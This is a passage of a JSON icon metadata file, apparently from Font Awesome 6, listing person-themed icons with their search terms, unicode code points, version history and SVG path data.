        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64V32zm320 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM224 512c17.7 0 32-14.3 32-32V320H192V480c0 17.7 14.3 32 32 32zM320 0c-9.3 0-18.1 4-24.2 11s-8.8 16.3-7.5 25.5l31.2 218.6L288.6 409.7c-3.5 17.3 7.8 34.2 25.1 37.7s34.2-7.8 37.7-25.1l.7-3.6c1.3 16.4 15.1 29.4 31.9 29.4c17.7 0 32-14.3 32-32c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM112 80A48 48 0 1 0 16 80a48 48 0 1 0 96 0zm0 261.3V269.3l4.7 4.7c9 9 21.2 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H157.3l-41.6-41.6c-14.3-14.3-33.8-22.4-54-22.4C27.6 160 0 187.6 0 221.6v55.7l0 .9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384l32 42.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V421.3c0-10.4-3.4-20.5-9.6-28.8L112 341.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64V32zm320 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM224 512c17.7 0 32-14.3 32-32V320H192V480c0 17.7 14.3 32 32 32zM320 0c-9.3 0-18.1 4-24.2 11s-8.8 16.3-7.5 25.5l31.2 218.6L288.6 409.7c-3.5 17.3 7.8 34.2 25.1 37.7s34.2-7.8 37.7-25.1l.7-3.6c1.3 16.4 15.1 29.4 31.9 29.4c17.7 0 32-14.3 32-32c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM112 80A48 48 0 1 0 16 80a48 48 0 1 0 96 0zm0 261.3V269.3l4.7 4.7c9 9 21.2 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H157.3l-41.6-41.6c-14.3-14.3-33.8-22.4-54-22.4C27.6 160 0 187.6 0 221.6v55.7l0 .9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384l32 42.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V421.3c0-10.4-3.4-20.5-9.6-28.8L112 341.3z"
      }
    },
    "free": ["solid"]
  },
  "person-breastfeeding": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["baby", "child", "infant", "mother", "nutrition", "sustenance"]
    },
    "styles": ["solid"],
    "unicode": "e53a",
    "label": "Person Breastfeeding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0a80 80 0 1 1 0 160A80 80 0 1 1 224 0zM436.8 382.8L373.5 462c-16.6 20.7-46.8 24.1-67.5 7.5c-17.6-14.1-22.7-38.1-13.5-57.7l-.8-.1c-38.9-5.6-74.3-25.1-99.7-54.8V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 .8 0 1.6 .1 2.4l101.4 50.7c23.7 11.9 33.3 40.7 21.5 64.4s-40.7 33.3-64.4 21.5L27.2 427.3c-1.1-.5-2.2-1.1-3.3-1.7c-4.9-2.8-9.2-6.4-12.6-10.6c-4.6-5.4-7.8-11.7-9.6-18.4c-3.3-12-1.9-25.2 4.8-36.6c.6-1.1 1.3-2.2 2-3.2L75.6 256.1c26.7-40.1 71.7-64.1 119.8-64.1h75.2c46.5 0 90.1 22.5 117.2 60.3l50.7 70.9c2.2 3 4 6.1 5.5 9.4c2.9 6.7 4.3 13.8 4 20.8c-.3 10.6-4.2 21-11.2 29.4zM320 332a44 44 0 1 0 -88 0 44 44 0 1 0 88 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0a80 80 0 1 1 0 160A80 80 0 1 1 224 0zM436.8 382.8L373.5 462c-16.6 20.7-46.8 24.1-67.5 7.5c-17.6-14.1-22.7-38.1-13.5-57.7l-.8-.1c-38.9-5.6-74.3-25.1-99.7-54.8V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 .8 0 1.6 .1 2.4l101.4 50.7c23.7 11.9 33.3 40.7 21.5 64.4s-40.7 33.3-64.4 21.5L27.2 427.3c-1.1-.5-2.2-1.1-3.3-1.7c-4.9-2.8-9.2-6.4-12.6-10.6c-4.6-5.4-7.8-11.7-9.6-18.4c-3.3-12-1.9-25.2 4.8-36.6c.6-1.1 1.3-2.2 2-3.2L75.6 256.1c26.7-40.1 71.7-64.1 119.8-64.1h75.2c46.5 0 90.1 22.5 117.2 60.3l50.7 70.9c2.2 3 4 6.1 5.5 9.4c2.9 6.7 4.3 13.8 4 20.8c-.3 10.6-4.2 21-11.2 29.4zM320 332a44 44 0 1 0 -88 0 44 44 0 1 0 88 0z"
      }
    },
    "free": ["solid"]
  },
  "person-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abuse", "accident", "crash", "explode", "violence"]
    },
    "styles": ["solid"],
    "unicode": "e53b",
    "label": "Person Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H465.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L408 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H465.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L408 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z"
      }
    },
    "free": ["solid"]
  },
  "person-cane": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["aging", "cane", "elderly", "old", "staff"]
    },
    "styles": ["solid"],
    "unicode": "e53c",
    "label": "Person Cane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M272 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-8 187.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3zM352 376c0-4.4 3.6-8 8-8s8 3.6 8 8V488c0 13.3 10.7 24 24 24s24-10.7 24-24V376c0-30.9-25.1-56-56-56s-56 25.1-56 56v8c0 13.3 10.7 24 24 24s24-10.7 24-24v-8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M272 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-8 187.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3zM352 376c0-4.4 3.6-8 8-8s8 3.6 8 8V488c0 13.3 10.7 24 24 24s24-10.7 24-24V376c0-30.9-25.1-56-56-56s-56 25.1-56 56v8c0 13.3 10.7 24 24 24s24-10.7 24-24v-8z"
      }
    },
    "free": ["solid"]
  },
  "person-chalkboard": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blackboard",
        "instructor",
        "keynote",
        "lesson",
        "presentation",
        "teacher"
      ]
    },
    "styles": ["solid"],
    "unicode": "e53d",
    "label": "Person Chalkboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V192h56 64 16c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64H576V256H384V224H320v48c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48v80H243.1 177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V192h56 64 16c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64H576V256H384V224H320v48c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48v80H243.1 177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["approved", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e53e",
    "label": "Person Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "alert", "lost", "missing"]
    },
    "styles": ["solid"],
    "unicode": "e53f",
    "label": "Person Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["delete", "remove"]
    },
    "styles": ["solid"],
    "unicode": "e540",
    "label": "Person Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-plus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["add", "found"]
    },
    "styles": ["solid"],
    "unicode": "e541",
    "label": "Person Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-question": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["lost", "missing"]
    },
    "styles": ["solid"],
    "unicode": "e542",
    "label": "Person Circle Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dead", "removed"]
    },
    "styles": ["solid"],
    "unicode": "e543",
    "label": "Person Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z"
      }
    },
    "free": ["solid"]
  },
  "person-digging": {
    "aliases": {
      "names": ["digging"],
      "unicodes": {
        "secondary": ["10f85e"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bury", "construction", "debris", "dig", "men at work"]
    },
    "styles": ["solid"],
    "unicode": "f85e",
    "label": "Person Digging",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M208 64a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM9.8 214.8c5.1-12.2 19.1-18 31.4-12.9L60.7 210l22.9-38.1C99.9 144.6 129.3 128 161 128c51.4 0 97 32.9 113.3 81.7l34.6 103.7 79.3 33.1 34.2-45.6c6.4-8.5 16.6-13.3 27.2-12.8s20.3 6.4 25.8 15.5l96 160c5.9 9.9 6.1 22.2 .4 32.2s-16.3 16.2-27.8 16.2H288c-11.1 0-21.4-5.7-27.2-15.2s-6.4-21.2-1.4-31.1l16-32c5.4-10.8 16.5-17.7 28.6-17.7h32l22.5-30L22.8 246.2c-12.2-5.1-18-19.1-12.9-31.4zm82.8 91.8l112 48c11.8 5 19.4 16.6 19.4 29.4v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V405.1l-60.6-26-37 111c-5.6 16.8-23.7 25.8-40.5 20.2S-3.9 486.6 1.6 469.9l48-144 11-33 32 13.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M208 64a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM9.8 214.8c5.1-12.2 19.1-18 31.4-12.9L60.7 210l22.9-38.1C99.9 144.6 129.3 128 161 128c51.4 0 97 32.9 113.3 81.7l34.6 103.7 79.3 33.1 34.2-45.6c6.4-8.5 16.6-13.3 27.2-12.8s20.3 6.4 25.8 15.5l96 160c5.9 9.9 6.1 22.2 .4 32.2s-16.3 16.2-27.8 16.2H288c-11.1 0-21.4-5.7-27.2-15.2s-6.4-21.2-1.4-31.1l16-32c5.4-10.8 16.5-17.7 28.6-17.7h32l22.5-30L22.8 246.2c-12.2-5.1-18-19.1-12.9-31.4zm82.8 91.8l112 48c11.8 5 19.4 16.6 19.4 29.4v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V405.1l-60.6-26-37 111c-5.6 16.8-23.7 25.8-40.5 20.2S-3.9 486.6 1.6 469.9l48-144 11-33 32 13.7z"
      }
    },
    "free": ["solid"]
  },
  "person-dots-from-line": {
    "aliases": {
      "names": ["diagnoses"],
      "unicodes": {
        "secondary": ["10f470"]
      }
    },
    "changes": ["5.0.7", "5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["allergy", "diagnosis"]
    },
    "styles": ["solid"],
    "unicode": "f470",
    "label": "Person Dots From Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
